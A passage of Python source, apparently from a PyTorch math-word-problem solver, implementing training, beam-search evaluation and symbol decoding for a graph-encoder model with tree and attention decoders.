num_stack1_batch = copy.deepcopy(num_stack_batch)
num_stack2_batch = copy.deepcopy(num_stack_batch)
# Turn padded arrays into (batch_size x max_len) tensors, transpose into (max_len x batch_size)
# input1_var = torch.LongTensor(input1_batch).transpose(0, 1)
# input2_var = torch.LongTensor(input2_batch).transpose(0, 1)
# target1 = torch.LongTensor(target1_batch).transpose(0, 1)
# target2 = torch.LongTensor(target2_batch).transpose(0, 1)
# parse_graph_pad = torch.LongTensor(parse_graph_batch)
input1_var = input1_batch.transpose(0, 1)
input2_var = input2_batch.transpose(0, 1)
target1 = target1_batch.transpose(0, 1)
target2 = target2_batch.transpose(0, 1)
parse_graph_pad = parse_graph_batch
padding_hidden = torch.FloatTensor([0.0 for _ in range(self.hidden_size)]).unsqueeze(0)
batch_size = len(input_length)
if self.USE_CUDA:
input1_var = input1_var.cuda()
input2_var = input2_var.cuda()
seq_mask = seq_mask.cuda()
padding_hidden = padding_hidden.cuda()
num_mask = num_mask.cuda()
num_pos_pad = num_pos_pad.cuda()
num_order_pad = num_order_pad.cuda()
parse_graph_pad = parse_graph_pad.cuda()
# Run words through encoder
encoder_outputs, encoder_hidden = self.encoder(input1_var, input2_var, input_length, parse_graph_pad)
copy_num_len = [len(_) for _ in num_pos_batch]
num_size = max(copy_num_len)
num_encoder_outputs, masked_index = self.get_all_number_encoder_outputs(encoder_outputs, num_pos_batch, batch_size, num_size, self.hidden_size)
encoder_outputs, num_outputs, problem_output = self.numencoder(encoder_outputs, num_encoder_outputs, num_pos_pad, num_order_pad)
num_outputs = num_outputs.masked_fill_(masked_index.bool(), 0.0)
decoder_hidden = encoder_hidden[:self.n_layers] # Use last (forward) hidden state from encoder
loss_0 = self.train_tree_double(encoder_outputs, problem_output, num_outputs, target1, target1_length, num_start1, batch_size, padding_hidden, seq_mask, num_mask, num_pos_batch, num_order_pad,
num_stack1_batch, unk1)
loss_1 = self.train_attn_double(encoder_outputs, decoder_hidden, target2, target2_length, sos2, batch_size, seq_mask, num_start2, num_stack2_batch, unk2, beam_size, use_teacher_forcing)
loss = loss_0 + loss_1
loss.backward()
return loss.item() # , loss_0.item(), loss_1.item()
def train_tree_double(self, encoder_outputs, problem_output, all_nums_encoder_outputs, target, target_length, num_start, batch_size, padding_hidden, seq_mask, num_mask, num_pos, num_order_pad,
nums_stack_batch, unk):
# Prepare input and output variables
node_stacks = [[TreeNode(_)] for _ in problem_output.split(1, dim=0)]
max_target_length = max(target_length)
all_node_outputs = []
# all_leafs = []
embeddings_stacks = [[] for _ in range(batch_size)]
left_childs = [None for _ in range(batch_size)]
for t in range(max_target_length):
num_score, op, current_embeddings, current_context, current_nums_embeddings = self.predict(node_stacks, left_childs, encoder_outputs, all_nums_encoder_outputs, padding_hidden, seq_mask,
num_mask)
# all_leafs.append(p_leaf)
outputs = torch.cat((op, num_score), 1)
all_node_outputs.append(outputs)
target_t, generate_input = self.generate_tree_input(target[t].tolist(), outputs, nums_stack_batch, num_start, unk)
target[t] = target_t
if self.USE_CUDA:
generate_input = generate_input.cuda()
left_child, right_child, node_label = self.generate(current_embeddings, generate_input, current_context)
left_childs = []
for idx, l, r, node_stack, i, o in zip(range(batch_size), left_child.split(1), right_child.split(1), node_stacks, target[t].tolist(), embeddings_stacks):
if len(node_stack) != 0:
node = node_stack.pop()
else:
left_childs.append(None)
continue
if i < num_start:
node_stack.append(TreeNode(r))
node_stack.append(TreeNode(l, left_flag=True))
o.append(TreeEmbedding(node_label[idx].unsqueeze(0), False))
else:
current_num = current_nums_embeddings[idx, i - num_start].unsqueeze(0)
while len(o) > 0 and o[-1].terminal:
sub_stree = o.pop()
op = o.pop()
current_num = self.merge(op.embedding, sub_stree.embedding, current_num)
o.append(TreeEmbedding(current_num, True))
if len(o) > 0 and o[-1].terminal:
left_childs.append(o[-1].embedding)
else:
left_childs.append(None)
# all_leafs = torch.stack(all_leafs, dim=1) # B x S x 2
all_node_outputs = torch.stack(all_node_outputs, dim=1) # B x S x N
target = target.transpose(0, 1).contiguous()
if self.USE_CUDA:
# all_leafs = all_leafs.cuda()
all_node_outputs = all_node_outputs.cuda()
target = target.cuda()
target_length = torch.LongTensor(target_length).cuda()
else:
target_length = torch.LongTensor(target_length)
# op_target = target < num_start
# loss_0 = masked_cross_entropy_without_logit(all_leafs, op_target.long(), target_length)
loss = masked_cross_entropy(all_node_outputs, target, target_length)
# loss = loss_0 + loss_1
return loss # , loss_0.item(), loss_1.item()
def train_attn_double(self, encoder_outputs, decoder_hidden, target, target_length, sos, batch_size, seq_mask, num_start, nums_stack_batch, unk, beam_size, use_teacher_forcing):
# Prepare input and output variables
decoder_input = torch.LongTensor([sos] * batch_size)
max_target_length = max(target_length)
all_decoder_outputs = torch.zeros(max_target_length, batch_size, self.decoder.output_size)
# Move new Variables to CUDA
if self.USE_CUDA:
all_decoder_outputs = all_decoder_outputs.cuda()
if random.random() < use_teacher_forcing:
# Run through decoder one time step at a time
for t in range(max_target_length):
if self.USE_CUDA:
decoder_input = decoder_input.cuda()
decoder_output, decoder_hidden = self.decoder(decoder_input, decoder_hidden, encoder_outputs, seq_mask)
all_decoder_outputs[t] = decoder_output
decoder_input = self.generate_decoder_input(target[t].cpu().tolist(), decoder_output, nums_stack_batch, num_start, unk)
target[t] = decoder_input
else:
beam_list = list()
score = torch.zeros(batch_size)
if self.USE_CUDA:
score = score.cuda()
beam_list.append(Beam(score, decoder_input, decoder_hidden, all_decoder_outputs))
# Run through decoder one time step at a time
for t in range(max_target_length):
beam_len = len(beam_list)
beam_scores = torch.zeros(batch_size, self.decoder.output_size * beam_len)
all_hidden = torch.zeros(decoder_hidden.size(0), batch_size * beam_len, decoder_hidden.size(2))
all_outputs = torch.zeros(max_target_length, batch_size * beam_len, self.decoder.output_size)
if self.USE_CUDA:
beam_scores = beam_scores.cuda()
all_hidden = all_hidden.cuda()
all_outputs = all_outputs.cuda()
for b_idx in range(len(beam_list)):
decoder_input = beam_list[b_idx].input_var
decoder_hidden = beam_list[b_idx].hidden
# rule_mask = generate_rule_mask(decoder_input, num_batch, output_lang.word2index, batch_size,
# num_start, copy_nums, generate_nums, english)
if self.USE_CUDA:
# rule_mask = rule_mask.cuda()
decoder_input = decoder_input.cuda()
decoder_output, decoder_hidden = self.decoder(decoder_input, decoder_hidden, encoder_outputs, seq_mask)
# score = f.log_softmax(decoder_output, dim=1) + rule_mask
score = F.log_softmax(decoder_output, dim=1)
beam_score = beam_list[b_idx].score
beam_score = beam_score.unsqueeze(1)
repeat_dims = [1] * beam_score.dim()
repeat_dims[1] = score.size(1)
beam_score = beam_score.repeat(*repeat_dims)
score += beam_score
beam_scores[:, b_idx * self.decoder.output_size:(b_idx + 1) * self.decoder.output_size] = score
all_hidden[:, b_idx * batch_size:(b_idx + 1) * batch_size, :] = decoder_hidden
beam_list[b_idx].all_output[t] = decoder_output
all_outputs[:, batch_size * b_idx: batch_size * (b_idx + 1), :] = \
beam_list[b_idx].all_output
topv, topi = beam_scores.topk(beam_size, dim=1)
beam_list = list()
for k in range(beam_size):
temp_topk = topi[:, k]
temp_input = temp_topk % self.decoder.output_size
temp_input = temp_input.data
if self.USE_CUDA:
temp_input = temp_input.cpu()
temp_beam_pos = temp_topk / self.decoder.output_size
indices = torch.LongTensor(range(batch_size))
if self.USE_CUDA:
indices = indices.cuda()
indices += temp_beam_pos * batch_size
temp_hidden = all_hidden.index_select(1, indices)
temp_output = all_outputs.index_select(1, indices)
beam_list.append(Beam(topv[:, k], temp_input, temp_hidden, temp_output))
all_decoder_outputs = beam_list[0].all_output
for t in range(max_target_length):
target[t] = self.generate_decoder_input(target[t].cpu().tolist(), all_decoder_outputs[t], nums_stack_batch, num_start, unk)
# Loss calculation and backpropagation
if self.USE_CUDA:
target = target.cuda()
target_length = torch.LongTensor(target_length).cuda()
else:
target_length = torch.LongTensor(target_length)
loss = masked_cross_entropy(
all_decoder_outputs.transpose(0, 1).contiguous(), # -> batch x seq
target.transpose(0, 1).contiguous(), # -> batch x seq
target_length)
return loss
def evaluate_double(self,
input1_batch,
input2_batch,
input_length,
generate_num1_ids,
num_start1,
sos2,
eos2,
num_pos_batch,
num_order_batch,
parse_graph_batch,
beam_size=5,
english=False,
max_length=30):
seq_mask = torch.ByteTensor(1, input_length).fill_(0)
# num_pos_pad = torch.LongTensor([num_pos_batch])
# num_order_pad = torch.LongTensor([num_order_batch])
# parse_graph_pad = torch.LongTensor(parse_graph_batch)
# Turn padded arrays into (batch_size x max_len) tensors, transpose into (max_len x batch_size)
# input1_var = torch.LongTensor(input1_batch).transpose()
# input2_var = torch.LongTensor(input2_batch).unsqueeze(1)
num_pos_pad = torch.LongTensor(num_pos_batch)
num_order_pad = torch.LongTensor(num_order_batch)
parse_graph_pad = parse_graph_batch
input1_var = input1_batch.transpose(0, 1)
input2_var = input2_batch.transpose(0, 1)
num_mask = torch.ByteTensor(1, len(num_pos_batch[0]) + len(generate_num1_ids)).fill_(0)
padding_hidden = torch.FloatTensor([0.0 for _ in range(self.hidden_size)]).unsqueeze(0)
batch_size = 1
if self.USE_CUDA:
input1_var = input1_var.cuda()
input2_var = input2_var.cuda()
seq_mask = seq_mask.cuda()
padding_hidden = padding_hidden.cuda()
num_mask = num_mask.cuda()
num_pos_pad = num_pos_pad.cuda()
num_order_pad = num_order_pad.cuda()
parse_graph_pad = parse_graph_pad.cuda()
# Run words through encoder
encoder_outputs, encoder_hidden = self.encoder(input1_var, input2_var, input_length, parse_graph_pad)
copy_num_len = [len(_) for _ in num_pos_batch]
num_size = max(copy_num_len)
#num_size = len(num_pos_batch)
num_encoder_outputs, masked_index = self.get_all_number_encoder_outputs(encoder_outputs, num_pos_batch, batch_size, num_size, self.hidden_size)
encoder_outputs, num_outputs, problem_output = self.numencoder(encoder_outputs, num_encoder_outputs, num_pos_pad, num_order_pad)
decoder_hidden = encoder_hidden[:self.n_layers] # Use last (forward) hidden state from encoder
tree_beam = self.evaluate_tree_double(encoder_outputs, problem_output, num_outputs, num_start1, batch_size, padding_hidden, seq_mask, num_mask, max_length, num_pos_batch, num_order_pad,
beam_size)
attn_beam = self.evaluate_attn_double(encoder_outputs, decoder_hidden, sos2, eos2, batch_size, seq_mask, max_length, beam_size)
if tree_beam.score >= attn_beam.score:
return "tree", tree_beam.out, tree_beam.score
else:
return "attn", attn_beam.all_output, attn_beam.score
def evaluate_tree_double(self, encoder_outputs, problem_output, all_nums_encoder_outputs, num_start, batch_size, padding_hidden, seq_mask, num_mask, max_length, num_pos, num_order_pad, beam_size):
# Prepare input and output variables
node_stacks = [[TreeNode(_)] for _ in problem_output.split(1, dim=0)]
# B x P x N
embeddings_stacks = [[] for _ in range(batch_size)]
left_childs = [None for _ in range(batch_size)]
beams = [TreeBeam(0.0, node_stacks, embeddings_stacks, left_childs, [])]
for t in range(max_length):
current_beams = []
while len(beams) > 0:
b = beams.pop()
if len(b.node_stack[0]) == 0:
current_beams.append(b)
continue
# left_childs = torch.stack(b.left_childs)
left_childs = b.left_childs
num_score, op, current_embeddings, current_context, current_nums_embeddings = self.predict(b.node_stack, left_childs, encoder_outputs, all_nums_encoder_outputs, padding_hidden,
seq_mask, num_mask)
out_score = nn.functional.log_softmax(torch.cat((op, num_score), dim=1), dim=1)
topv, topi = out_score.topk(beam_size)
for tv, ti in zip(topv.split(1, dim=1), topi.split(1, dim=1)):
current_node_stack = copy_list(b.node_stack)
current_left_childs = []
current_embeddings_stacks = copy_list(b.embedding_stack)
current_out = copy.deepcopy(b.out)
out_token = int(ti)
current_out.append(out_token)
node = current_node_stack[0].pop()
if out_token < num_start:
generate_input = torch.LongTensor([out_token])
if self.USE_CUDA:
generate_input = generate_input.cuda()
left_child, right_child, node_label = self.generate(current_embeddings, generate_input, current_context)
current_node_stack[0].append(TreeNode(right_child))
current_node_stack[0].append(TreeNode(left_child, left_flag=True))
current_embeddings_stacks[0].append(TreeEmbedding(node_label[0].unsqueeze(0), False))
else:
current_num = current_nums_embeddings[0, out_token - num_start].unsqueeze(0)
while len(current_embeddings_stacks[0]) > 0 and current_embeddings_stacks[0][-1].terminal:
sub_stree = current_embeddings_stacks[0].pop()
op = current_embeddings_stacks[0].pop()
current_num = self.merge(op.embedding, sub_stree.embedding, current_num)
current_embeddings_stacks[0].append(TreeEmbedding(current_num, True))
if len(current_embeddings_stacks[0]) > 0 and current_embeddings_stacks[0][-1].terminal:
current_left_childs.append(current_embeddings_stacks[0][-1].embedding)
else:
current_left_childs.append(None)
current_beams.append(TreeBeam(b.score + float(tv), current_node_stack, current_embeddings_stacks, current_left_childs, current_out))
beams = sorted(current_beams, key=lambda x: x.score, reverse=True)
beams = beams[:beam_size]
flag = True
for b in beams:
if len(b.node_stack[0]) != 0:
flag = False
if flag:
break
return beams[0]
def evaluate_attn_double(self, encoder_outputs, decoder_hidden, sos, eos, batch_size, seq_mask, max_length, beam_size):
# Create starting vectors for decoder
decoder_input = torch.LongTensor([sos]) # SOS
beam_list = list()
score = 0
beam_list.append(Beam(score, decoder_input, decoder_hidden, []))
# Run through decoder
for di in range(max_length):
temp_list = list()
beam_len = len(beam_list)
for xb in beam_list:
if int(xb.input_var[0]) == eos:
temp_list.append(xb)
beam_len -= 1
if beam_len == 0:
return beam_list[0]
beam_scores = torch.zeros(self.decoder.output_size * beam_len)
hidden_size_0 = decoder_hidden.size(0)
hidden_size_2 = decoder_hidden.size(2)
all_hidden = torch.zeros(beam_len, hidden_size_0, 1, hidden_size_2)
if self.USE_CUDA:
beam_scores = beam_scores.cuda()
all_hidden = all_hidden.cuda()
all_outputs = []
current_idx = -1
for b_idx in range(len(beam_list)):
decoder_input = beam_list[b_idx].input_var
if int(decoder_input[0]) == eos:
continue
current_idx += 1
decoder_hidden = beam_list[b_idx].hidden
# rule_mask = generate_rule_mask(decoder_input, [num_list], output_lang.word2index,
# 1, num_start, copy_nums, generate_nums, english)
if self.USE_CUDA:
# rule_mask = rule_mask.cuda()
decoder_input = decoder_input.cuda()
decoder_output, decoder_hidden = self.decoder(decoder_input, decoder_hidden, encoder_outputs, seq_mask)
# score = f.log_softmax(decoder_output, dim=1) + rule_mask.squeeze()
score = F.log_softmax(decoder_output, dim=1)
score += beam_list[b_idx].score
beam_scores[current_idx * self.decoder.output_size:(current_idx + 1) * self.decoder.output_size] = score
all_hidden[current_idx] = decoder_hidden
all_outputs.append(beam_list[b_idx].all_output)
topv, topi = beam_scores.topk(beam_size)
for k in range(beam_size):
word_n = int(topi[k])
word_input = word_n % self.decoder.output_size
temp_input = torch.LongTensor([word_input])
indices = int(word_n / self.decoder.output_size)
temp_hidden = all_hidden[indices]
temp_output = all_outputs[indices] + [word_input]
temp_list.append(Beam(float(topv[k]), temp_input, temp_hidden, temp_output))
temp_list = sorted(temp_list, key=lambda x: x.score, reverse=True)
if len(temp_list) < beam_size:
beam_list = temp_list
else:
beam_list = temp_list[:beam_size]
return beam_list[0]
def generate_tree_input(self, target, decoder_output, nums_stack_batch, num_start, unk):
# when the decoder input is copied num but the num has two pos, chose the max
target_input = copy.deepcopy(target)
for i in range(len(target)):
if target[i] == unk:
num_stack = nums_stack_batch[i].pop()
max_score = -float("1e12")
for num in num_stack:
if decoder_output[i, num_start + num] > max_score:
target[i] = num + num_start
max_score = decoder_output[i, num_start + num]
if target_input[i] >= num_start:
target_input[i] = 0
return torch.LongTensor(target), torch.LongTensor(target_input)
def get_all_number_encoder_outputs(self, encoder_outputs, num_pos, batch_size, num_size, hidden_size):
indices = list()
sen_len = encoder_outputs.size(0)
masked_index = []
temp_1 = [1 for _ in range(hidden_size)]
temp_0 = [0 for _ in range(hidden_size)]
for b in range(batch_size):
for i in num_pos[b]:
indices.append(i + b * sen_len)
masked_index.append(temp_0)
indices += [0 for _ in range(len(num_pos[b]), num_size)]
masked_index += [temp_1 for _ in range(len(num_pos[b]), num_size)]
indices = torch.LongTensor(indices)
masked_index = torch.ByteTensor(masked_index)
masked_index = masked_index.view(batch_size, num_size, hidden_size)
if self.USE_CUDA:
indices = indices.cuda()
masked_index = masked_index.cuda()
all_outputs = encoder_outputs.transpose(0, 1).contiguous()
all_embedding = all_outputs.view(-1, encoder_outputs.size(2)) # S x B x H -> (B x S) x H
all_num = all_embedding.index_select(0, indices)
all_num = all_num.view(batch_size, num_size, hidden_size)
return all_num.masked_fill_(masked_index.bool(), 0.0), masked_index
def generate_decoder_input(self, target, decoder_output, nums_stack_batch, num_start, unk):
# when the decoder input is copied num but the num has two pos, chose the max
if self.USE_CUDA:
decoder_output = decoder_output.cpu()
target = torch.LongTensor(target)
for i in range(target.size(0)):
if target[i] == unk:
num_stack = nums_stack_batch[i].pop()
max_score = -float("1e12")
for num in num_stack:
if decoder_output[i, num_start + num] > max_score:
target[i] = num + num_start
max_score = decoder_output[i, num_start + num]
return target
def convert_idx2symbol1(self, output, num_list, num_stack):
#batch_size=output.size(0)
'''batch_size=1'''
seq_len = len(output)
num_len = len(num_list)
output_list = []
res = []
for s_i in range(seq_len):
idx = output[s_i]
if idx in [self.out_sos_token1, self.out_eos_token1, self.out_pad_token1]:
break
symbol = self.out_idx2symbol1[idx]
if "NUM" in symbol:
num_idx = self.mask_list.index(symbol)
if num_idx >= num_len:
res = []
break
res.append(num_list[num_idx])
elif symbol == SpecialTokens.UNK_TOKEN:
try:
pos_list = num_stack.pop()
c = num_list[pos_list[0]]
res.append(c)
except:
return None
else:
res.append(symbol)
output_list.append(res)
return output_list
def convert_idx2symbol2(self, output, num_list, num_stack):
batch_size = output.size(0)
seq_len = output.size(1)
output_list = []
for b_i in range(batch_size):
res = []
num_len = len(num_list[b_i])
for s_i in range(seq_len):
idx = output[b_i][s_i]
if idx in [self.out_sos_token2, self.out_eos_token2, self.out_pad_token2]:
break
symbol = self.out_idx2symbol2[idx]
if "NUM" in symbol:
num_idx = self.mask_list.index(symbol)
if num_idx >= num_len:
res.append(symbol)
else:
res.append(num_list[b_i][num_idx])
elif symbol == SpecialTokens.UNK_TOKEN:
try:
pos_list = num_stack[b_i].pop()
c = num_list[b_i][pos_list[0]]
res.append(c)
except:
res.append(symbol)
else:
res.append(symbol)
output_list.append(res)
return output_list
class _MultiEncDec_(nn.Module):
def __init__(self, config, dataset):
super(_MultiEncDec_, self).__init__()
self.device = config['device']
self.rnn_cell_type = config['rnn_cell_type']
self.embedding_size = config['embedding_size']
self.hidden_size = config['hidden_size']
self.n_layers = config['num_layers']
self.hop_size = config['hop_size']
self.teacher_force_ratio = config['teacher_force_ratio']
self.beam_size = config['beam_size']
self.max_out_len = config['max_output_len']
self.dropout_ratio = config['dropout_ratio']
self.operator_nums = dataset.operator_nums
self.generate_nums = len(dataset.generate_list)
self.num_start1 = dataset.num_start1
self.num_start2 = dataset.num_start2
self.input1_size = len(dataset.in_idx2word_1)
self.input2_size = len(dataset.in_idx2word_2)
self.output2_size = len(dataset.out_idx2symbol_2)
self.unk1 = dataset.out_symbol2idx_1[SpecialTokens.UNK_TOKEN]
self.unk2 = dataset.out_symbol2idx_2[SpecialTokens.UNK_TOKEN]
self.sos2 = dataset.out_symbol2idx_2[SpecialTokens.SOS_TOKEN]
self.eos2 = dataset.out_symbol2idx_2[SpecialTokens.EOS_TOKEN]
self.out_symbol2idx1 = dataset.out_symbol2idx_1
self.out_idx2symbol1 = dataset.out_idx2symbol_1
self.out_symbol2idx2 = dataset.out_symbol2idx_2
self.out_idx2symbol2 = dataset.out_idx2symbol_2
generate_list = dataset.generate_list
self.generate_list = [self.out_symbol2idx1[symbol] for symbol in generate_list]
self.mask_list = NumMask.number
try:
self.out_sos_token1 = self.out_symbol2idx1[SpecialTokens.SOS_TOKEN]
except:
self.out_sos_token1 = None
try:
self.out_eos_token1 = self.out_symbol2idx1[SpecialTokens.EOS_TOKEN]
except:
self.out_eos_token1 = None
try:
self.out_pad_token1 = self.out_symbol2idx1[SpecialTokens.PAD_TOKEN]
except:
self.out_pad_token1 = None
try:
self.out_sos_token2 = self.out_symbol2idx2[SpecialTokens.SOS_TOKEN]
except:
self.out_sos_token2 = None
try:
self.out_eos_token2 = self.out_symbol2idx2[SpecialTokens.EOS_TOKEN]
except:
self.out_eos_token2 = None
try:
self.out_pad_token2 = self.out_symbol2idx2[SpecialTokens.PAD_TOKEN]
except:
self.out_pad_token2 = None
# Initialize models
embedder = BaiscEmbedder(self.input1_size, self.embedding_size, self.dropout_ratio)
in_embedder = self._init_embedding_params(dataset.trainset, dataset.in_idx2word_1, config['embedding_size'], embedder)
#self.out_embedder = BaiscEmbedder(self.output2_size,self.embedding_size,self.dropout_ratio)
self.encoder = GraphBasedMultiEncoder(input1_size=self.input1_size,
input2_size=self.input2_size,
embed_model=in_embedder,
embedding1_size=self.embedding_size,
embedding2_size=self.embedding_size // 4,
hidden_size=self.hidden_size,
n_layers=self.n_layers,
hop_size=self.hop_size)
self.numencoder = NumEncoder(node_dim=self.hidden_size, hop_size=self.hop_size)
self.predict = TreeDecoder(hidden_size=self.hidden_size, op_nums=self.operator_nums, generate_size=self.generate_nums)
self.generate = NodeGenerater(hidden_size=self.hidden_size, op_nums=self.operator_nums, embedding_size=self.embedding_size)
self.merge = SubTreeMerger(hidden_size=self.hidden_size, embedding_size=self.embedding_size)
self.decoder = TreeAttnDecoderRNN(self.hidden_size, self.embedding_size, self.output2_size, self.output2_size, self.n_layers, self.dropout_ratio)
# self.decoder = AttentionalRNNDecoder(embedding_size=self.embedding_size,
# hidden_size=self.hidden_size,
# context_size=self.hidden_size,
# num_dec_layers=self.n_layers,
# rnn_cell_type=self.rnn_cell_type,
# dropout_ratio=self.dropout_ratio)
#self.out = nn.Linear(self.hidden_size, self.output2_size)
self.loss = MaskedCrossEntropyLoss()
def _init_embedding_params(self, train_data, vocab, embedding_size, embedder):
sentences = []
for data in train_data:
sentence = []
for word in data['question']:
if word in vocab:
sentence.append(word)
else:
sentence.append(SpecialTokens.UNK_TOKEN)
sentences.append(sentence)
from gensim.models import word2vec
model = word2vec.Word2Vec(sentences, size=embedding_size, min_count=1)
emb_vectors = []
pad_idx = vocab.index(SpecialTokens.PAD_TOKEN)
for idx in range(len(vocab)):
if idx != pad_idx:
emb_vectors.append(np.array(model.wv[vocab[idx]]))
else:
emb_vectors.append(np.zeros((embedding_size)))
emb_vectors = np.array(emb_vectors)
embedder.embedder.weight.data.copy_(torch.from_numpy(emb_vectors))
return embedder
def forward(self,input1_var, input2_var, input_length, target1, target1_length, target2, target2_length,\
num_stack_batch, num_size_batch,generate_list,num_pos_batch, num_order_batch, parse_graph):
# sequence mask for attention
seq_mask = []
max_len = max(input_length)
for i in input_length:
seq_mask.append([0 for _ in range(i)] + [1 for _ in range(i, max_len)])
seq_mask = torch.ByteTensor(seq_mask)
num_mask = []
max_num_size = max(num_size_batch) + len(generate_list)
for i in num_size_batch:
d = i + len(generate_list)
num_mask.append([0] * d + [1] * (max_num_size - d))
num_mask = torch.ByteTensor(num_mask)
num_pos_pad = []
max_num_pos_size = max(num_size_batch)
for i in range(len(num_pos_batch)):
temp = num_pos_batch[i] + [-1] * (max_num_pos_size - len(num_pos_batch[i]))
num_pos_pad.append(temp)
num_pos_pad = torch.LongTensor(num_pos_pad)
num_order_pad = []
max_num_order_size = max(num_size_batch)
for i in range(len(num_order_batch)):
temp = num_order_batch[i] + [0] * (max_num_order_size - len(num_order_batch[i]))
num_order_pad.append(temp)
num_order_pad = torch.LongTensor(num_order_pad)
num_stack1_batch = copy.deepcopy(num_stack_batch)
num_stack2_batch = copy.deepcopy(num_stack_batch)
#num_start2 = output2_lang.n_words - copy_nums - 2
#unk1 = output1_lang.word2index["UNK"]
#unk2 = output2_lang.word2index["UNK"]
# Turn padded arrays into (batch_size x max_len) tensors, transpose into (max_len x batch_size)
# input1_var = torch.LongTensor(input1_batch).transpose(0, 1)
# input2_var = torch.LongTensor(input2_batch).transpose(0, 1)
# target1 = torch.LongTensor(target1_batch).transpose(0, 1)
# target2 = torch.LongTensor(target2_batch).transpose(0, 1)
input1_var = input1_var.transpose(0, 1)
input2_var = input2_var.transpose(0, 1)
target1 = target1.transpose(0, 1)
target2 = target2.transpose(0, 1)
parse_graph_pad = torch.LongTensor(parse_graph)
padding_hidden = torch.FloatTensor([0.0 for _ in range(self.hidden_size)]).unsqueeze(0)
batch_size = len(input_length)
encoder_outputs, encoder_hidden = self.encoder(input1_var, input2_var, input_length, parse_graph_pad)
copy_num_len = [len(_) for _ in num_pos_batch]
num_size = max(copy_num_len)
num_encoder_outputs, masked_index = self.get_all_number_encoder_outputs(encoder_outputs, num_pos_batch, num_size, self.hidden_size)
encoder_outputs, num_outputs, problem_output = self.numencoder(encoder_outputs, num_encoder_outputs, num_pos_pad, num_order_pad)
num_outputs = num_outputs.masked_fill_(masked_index.bool(), 0.0)
decoder_hidden = encoder_hidden[self.n_layers] # Use last (forward) hidden state from encoder
if target1 != None:
all_output1 = self.train_tree_double(encoder_outputs, problem_output, num_outputs, target1, target1_length, batch_size, padding_hidden, seq_mask, num_mask, num_pos_batch, num_order_pad,
num_stack1_batch)
all_output2 = self.train_attn_double(encoder_outputs, decoder_hidden, target2, target2_length, batch_size, seq_mask, num_stack2_batch)
return "train", all_output1, all_output2
else:
all_output1 = self.evaluate_tree_double(encoder_outputs, problem_output, num_outputs, batch_size, padding_hidden, seq_mask, num_mask)
all_output2 = self.evaluate_attn_double(encoder_outputs, decoder_hidden, batch_size, seq_mask)
if all_output1.score >= all_output2.score:
return "tree", all_output1.out, all_output1.score
else:
return "attn", all_output2.all_output, all_output2.score
def calculate_loss(self, batch_data):
input1_var = batch_data['input1']
input2_var = batch_data['input2']
input_length = batch_data['input1 len']
target1 = batch_data['output1']
target1_length = batch_data['output1 len']
target2 = batch_data['output2']
target2_length = batch_data['output2 len']
num_stack_batch = batch_data['num stack']
num_size_batch = batch_data['num size']
generate_list = self.generate_list
num_pos_batch = batch_data['num pos']
num_order_batch = batch_data['num order']
parse_graph = batch_data['parse graph']
equ_mask1 = batch_data['equ mask1']
equ_mask2 = batch_data['equ mask2']
# sequence mask for attention
seq_mask = []
max_len = max(input_length)
for i in input_length:
seq_mask.append([0 for _ in range(i)] + [1 for _ in range(i, max_len)])
seq_mask = torch.BoolTensor(seq_mask).to(self.device)
num_mask = []
max_num_size = max(num_size_batch) + len(generate_list)
for i in num_size_batch:
d = i + len(generate_list)
num_mask.append([0] * d + [1] * (max_num_size - d))
num_mask = torch.BoolTensor(num_mask).to(self.device)
num_pos_pad = []
max_num_pos_size = max(num_size_batch)
for i in range(len(num_pos_batch)):
temp = num_pos_batch[i] + [-1] * (max_num_pos_size - len(num_pos_batch[i]))
num_pos_pad.append(temp)
num_pos_pad = torch.LongTensor(num_pos_pad).to(self.device)
num_order_pad = []
max_num_order_size = max(num_size_batch)
for i in range(len(num_order_batch)):
temp = num_order_batch[i] + [0] * (max_num_order_size - len(num_order_batch[i]))
num_order_pad.append(temp)
num_order_pad = torch.LongTensor(num_order_pad).to(self.device)
num_stack1_batch = copy.deepcopy(num_stack_batch)
num_stack2_batch = copy.deepcopy(num_stack_batch)
#num_start2 = output2_lang.n_words - copy_nums - 2
#unk1 = output1_lang.word2index["UNK"]
#unk2 = output2_lang.word2index["UNK"]
# Turn padded arrays into (batch_size x max_len) tensors, transpose into (max_len x batch_size)
# input1_var = torch.LongTensor(input1_batch).transpose(0, 1)
# input2_var = torch.LongTensor(input2_batch).transpose(0, 1)
# target1 = torch.LongTensor(target1_batch).transpose(0, 1)
# target2 = torch.LongTensor(target2_batch).transpose(0, 1)
# input1_var = input1_var.transpose(0, 1)
# input2_var = input2_var.transpose(0, 1)
# target1 = target1.transpose(0, 1)
# target2 = target2.transpose(0, 1)
parse_graph_pad = parse_graph.long()
padding_hidden = torch.FloatTensor([0.0 for _ in range(self.hidden_size)]).unsqueeze(0).to(self.device)
batch_size = len(input_length)
encoder_outputs, encoder_hidden = self.encoder(input1_var, input2_var, input_length, parse_graph_pad)
copy_num_len = [len(_) for _ in num_pos_batch]
num_size = max(copy_num_len)
num_encoder_outputs, masked_index = self.get_all_number_encoder_outputs(encoder_outputs, num_pos_batch, num_size, self.hidden_size)
encoder_outputs, num_outputs, problem_output = self.numencoder(encoder_outputs, num_encoder_outputs, num_pos_pad, num_order_pad)
num_outputs = num_outputs.masked_fill_(masked_index.bool(), 0.0)
decoder_hidden = encoder_hidden[:self.n_layers] # Use last (forward) hidden state from encoder
all_output1, target1 = self.train_tree_double(encoder_outputs, problem_output, num_outputs, target1, target1_length, batch_size, padding_hidden, seq_mask, num_mask, num_pos_batch,
num_order_pad, num_stack1_batch)
all_output2, target2_ = self.train_attn_double(encoder_outputs, decoder_hidden, target2, target2_length, batch_size, seq_mask, num_stack2_batch)
self.loss.reset()
self.loss.eval_batch(all_output1, target1, equ_mask1)
self.loss.eval_batch(all_output2, target2_, equ_mask2)
self.loss.backward()
return self.loss.get_loss()
def model_test(self, batch_data):
input1_var = batch_data['input1']
input2_var = batch_data['input2']
input_length = batch_data['input1 len']
target1 = batch_data['output1']
target1_length = batch_data['output1 len']
target2 = batch_data['output2']
target2_length = batch_data['output2 len']
num_stack_batch = batch_data['num stack']
num_size_batch = batch_data['num size']
generate_list = self.generate_list
num_pos_batch = batch_data['num pos']
num_order_batch = batch_data['num order']
parse_graph = batch_data['parse graph']
num_list = batch_data['num list']
# sequence mask for attention
seq_mask = []
max_len = max(input_length)
for i in input_length:
seq_mask.append([0 for _ in range(i)] + [1 for _ in range(i, max_len)])
seq_mask = torch.BoolTensor(seq_mask).to(self.device)
num_mask = []
max_num_size = max(num_size_batch) + len(generate_list)
for i in num_size_batch:
d = i + len(generate_list)
num_mask.append([0] * d + [1] * (max_num_size - d))
num_mask = torch.BoolTensor(num_mask).to(self.device)
num_pos_pad = []
